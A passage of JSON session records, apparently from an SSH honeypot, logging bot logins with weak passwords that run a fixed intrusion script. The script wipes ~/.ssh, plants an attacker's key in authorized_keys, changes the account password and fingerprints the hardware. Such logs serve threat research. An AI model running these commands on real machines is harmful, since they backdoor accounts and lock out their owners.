ls)"},{"seq":12,"at":"2026-08-27T12:51:51.391407+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:51:51.723615+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:51:52.406059+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:51:52.735608+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:51:53.009016+00:00","kind":"output","latency_ms":null,"data":" 12:51:53 up 7 days, 9:42, 0 user, load average: 0.17, 0.17, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:51:53.340503+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:51:53.802627+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:51:54.131041+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:51:55.018248+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:51:55.349023+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:51:56.069250+00:00","kind":"output","latency_ms":null,"data":"top - 12:51:56 up 7 days, 9:42, 0 user, load average: 0.17, 0.17, 0.13\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:51:56.395630+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:51:56.677316+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:51:57.009284+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:51:57.308107+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:51:57.639678+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:51:58.094757+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:51:58.424501+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:51:59.668435+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:51:59.998572+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:52:01.106960+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Db123456","method":"password","accepted":true,"tier":"other"}]} {"id":"8dcaad64-e205-4415-9abc-8f80854c23a5","name":"subtle-nautical-coyote","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59896,"username":"ftp_user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":457,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:50:33.190371+00:00","ended_at":"2026-08-27T12:50:34.730862+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2269,"events":[{"seq":1,"at":"2026-08-27T12:50:12.765053+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:50:13.212691+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:50:17.660067+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:50:18.333210+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:50:18.788612+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ftp_user@2023\\nZiJekG6oXxPt\\nZiJekG6oXxPt\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:50:19.244309+00:00","kind":"input","latency_ms":null,"data":"echo \"ftp_user@2023\\nZiJekG6oXxPt\\nZiJekG6oXxPt\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:50:19.697384+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:50:20.305377+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:50:20.770055+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:50:22.078771+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:50:22.536837+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:50:23.652214+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:50:24.108252+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:50:24.394530+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:50:24.856570+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:50:25.377103+00:00","kind":"output","latency_ms":null,"data":" 12:50:25 up 7 days, 9:40, 0 user, load average: 0.29, 0.36, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:50:25.834053+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:50:26.660387+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:50:27.130803+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:50:27.408018+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:50:27.866627+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:50:28.631442+00:00","kind":"output","latency_ms":null,"data":"top - 12:50:28 up 7 days, 9:40, 0 user, load average: 0.29, 0.36, 0.31\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:50:29.084221+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:50:29.382548+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:50:29.836933+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:50:30.129539+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:50:30.580969+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:50:30.838881+00:00","kind":"output","latency_ms":null,"data":"ftp_user"},{"seq":29,"at":"2026-08-27T12:50:31.292946+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:50:32.734442+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:50:33.191324+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:50:34.591356+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftp_user","password":"ftp_user@2023","method":"password","accepted":true,"tier":"other"}]} {"id":"4a112586-0f77-4dc3-aabb-2798e3b81c19","name":"gilded-arctic-walrus","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":40032,"username":"deployer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":304,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:50:12.209359+00:00","ended_at":"2026-08-27T12:50:14.002867+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T12:49:56.088846+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:49:56.390458+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:49:59.524645+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:50:00.267388+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:50:00.571014+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\nnmR4LXeRPfNw\\nnmR4LXeRPfNw\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:50:00.874013+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\nnmR4LXeRPfNw\\nnmR4LXeRPfNw\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:50:01.176626+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:50:01.913552+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:50:02.216848+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:50:03.473801+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:50:03.779530+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:50:04.607156+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:50:04.913891+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:50:05.253067+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:50:05.556765+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:50:05.829956+00:00","kind":"output","latency_ms":null,"data":" 12:50:05 up 7 days, 9:40, 0 user, load average: 0.29, 0.33, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:50:06.133926+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:50:06.825813+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:50:07.128875+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:50:07.540786+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:50:07.844576+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:50:08.121869+00:00","kind":"output","latency_ms":null,"data":"top - 12:50:08 up 7 days, 9:40, 0 user, load average: 0.29, 0.33, 0.19\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:50:08.423909+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:50:08.864141+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:50:09.164607+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:50:09.494269+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:50:09.797496+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:50:10.457325+00:00","kind":"output","latency_ms":null,"data":"deployer"},{"seq":29,"at":"2026-08-27T12:50:10.760802+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:50:11.906919+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:50:12.210443+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:50:13.912861+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"deployer","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"dd05d352-deb2-4686-8fd3-2bedf4f19476","name":"frosty-electric-shrike","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":40492,"username":"dan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:49:57.375321+00:00","ended_at":"2026-08-27T12:49:59.504062+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-27T12:49:36.687281+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:49:37.012944+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:49:40.630190+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:49:42.335827+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:49:42.665771+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nsTLgZ1M9sTUW\\nsTLgZ1M9sTUW\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:49:42.993300+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nsTLgZ1M9sTUW\\nsTLgZ1M9sTUW\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:49:43.324213+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:49:43.984856+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:49:44.288437+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T12:49:44.620363+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T12:49:44.769972+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T12:49:46.503626+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:49:46.832713+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:49:48.339600+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:49:48.666887+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:49:49.166255+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:49:49.492783+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:49:50.030686+00:00","kind":"output","latency_ms":null,"data":" 12:49:50 up 7 days, 9:39, 0 user, load average: 0.22, 0.23, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:49:50.357374+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:49:51.238923+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:49:51.565771+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:49:52.169060+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:49:52.497236+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:49:52.838552+00:00","kind":"output","latency_ms":null,"data":"top - 12:49:52 up 7 days, 9:39, 0 user, load average: 0.22, 0.23, 0.15\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:49:53.166698+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:49:53.869460+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:49:54.198717+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:49:55.033537+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:49:55.360147+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:49:55.720235+00:00","kind":"output","latency_ms":null,"data":"dan"},{"seq":31,"at":"2026-08-27T12:49:56.047255+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:49:57.047255+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:49:57.376059+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:49:59.406369+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"dan","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"e9ac9781-b6f7-4d1b-9710-b63a0400c5a2","name":"scarlet-cunning-grouse","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":52412,"username":"cps","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:48:15.012512+00:00","ended_at":"2026-08-27T12:48:17.108387+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T12:47:56.174396+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:47:56.473938+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:48:00.697015+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:48:01.098136+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:48:01.398089+00:00","kind":"input","latency_ms":null,"data":"echo -e \"cps123\\nKKaN4Xxu4ll2\\nKKaN4Xxu4ll2\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:48:01.703205+00:00","kind":"input","latency_ms":null,"data":"echo \"cps123\\nKKaN4Xxu4ll2\\nKKaN4Xxu4ll2\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:48:01.992849+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:48:02.508097+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:48:02.808539+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:48:03.851507+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:48:04.152586+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:48:05.140208+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:48:05.441177+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:48:06.099132+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:48:06.399257+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:48:06.982477+00:00","kind":"output","latency_ms":null,"data":" 12:48:06 up 7 days, 9:38, 0 user, load average: 0.28, 0.2, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:48:07.282307+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:48:08.127743+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:48:08.427118+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:48:09.120254+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:48:09.420761+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:48:10.026110+00:00","kind":"output","latency_ms":null,"data":"top - 12:48:10 up 7 days, 9:38, 0 user, load average: 0.28, 0.2, 0.26\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 